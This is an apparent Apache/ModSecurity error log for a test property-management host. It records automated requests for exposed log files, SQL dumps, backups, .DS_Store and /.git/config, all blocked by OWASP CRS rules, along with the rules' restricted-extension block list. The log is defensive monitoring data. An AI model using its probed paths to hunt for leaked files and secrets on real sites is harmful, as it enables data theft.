[Mon Jun 30 11:32:33.126952 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInoAAAAAE&quot;]
[Mon Jun 30 11:32:33.127155 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInoAAAAAE&quot;]
[Mon Jun 30 11:32:33.187157 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInoQAAAAE&quot;]
[Mon Jun 30 11:32:33.187527 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInoQAAAAE&quot;]
[Mon Jun 30 11:32:33.187725 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInoQAAAAE&quot;]
[Mon Jun 30 11:32:33.246571 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInogAAAAE&quot;]
[Mon Jun 30 11:32:33.246931 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInogAAAAE&quot;]
[Mon Jun 30 11:32:33.247128 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInogAAAAE&quot;]
[Mon Jun 30 11:32:33.581578 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInowAAAAE&quot;]
[Mon Jun 30 11:32:33.581959 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInowAAAAE&quot;]
[Mon Jun 30 11:32:33.582158 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInowAAAAE&quot;]
[Mon Jun 30 11:32:33.644255 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInpAAAAAE&quot;]
[Mon Jun 30 11:32:33.644499 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInpAAAAAE&quot;]
[Mon Jun 30 11:32:33.644705 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInpAAAAAE&quot;]
[Mon Jun 30 11:32:34.093483 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;aGJZsuohZhhhenRd2sInpgAAAAE&quot;]
[Mon Jun 30 11:32:34.093851 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;aGJZsuohZhhhenRd2sInpgAAAAE&quot;]
[Mon Jun 30 11:32:34.094051 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;aGJZsuohZhhhenRd2sInpgAAAAE&quot;]
[Mon Jun 30 11:32:34.153959 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aGJZsuohZhhhenRd2sInpwAAAAE&quot;]
[Mon Jun 30 11:32:34.154319 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aGJZsuohZhhhenRd2sInpwAAAAE&quot;]
[Mon Jun 30 11:32:34.154527 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aGJZsuohZhhhenRd2sInpwAAAAE&quot;]
[Mon Jun 30 11:32:34.227787 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aGJZsuohZhhhenRd2sInqAAAAAE&quot;]
[Mon Jun 30 11:32:34.228149 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aGJZsuohZhhhenRd2sInqAAAAAE&quot;]
[Mon Jun 30 11:32:34.228362 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aGJZsuohZhhhenRd2sInqAAAAAE&quot;]
[Mon Jun 30 11:32:34.293058 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aGJZsuohZhhhenRd2sInqQAAAAE&quot;]
[Mon Jun 30 11:32:34.293421 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aGJZsuohZhhhenRd2sInqQAAAAE&quot;]
[Mon Jun 30 11:32:34.293624 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aGJZsuohZhhhenRd2sInqQAAAAE&quot;]
[Mon Jun 30 12:50:25.456758 2025] [:error] [pid 3584309] [client 198.55.98.91:44250] [client 198.55.98.91] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGJr8ThGnhOIO1HFUtPGkAAAAAY&quot;]
[Mon Jun 30 12:50:25.457070 2025] [:error] [pid 3584309] [client 198.55.98.91:44250] [client 198.55.98.91] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGJr8ThGnhOIO1HFUtPGkAAAAAY&quot;]
[Mon Jun 30 12:50:25.457253 2025] [:error] [pid 3584309] [client 198.55.98.91:44250] [client 198.55.98.91] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGJr8ThGnhOIO1HFUtPGkAAAAAY&quot;]
[Mon Jun 30 13:40:51.531972 2025] [:error] [pid 3624148] [client 77.90.153.170:41670] [client 77.90.153.170] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGJ3w5tDtSe7viRvdJRrzAAAAAk&quot;]
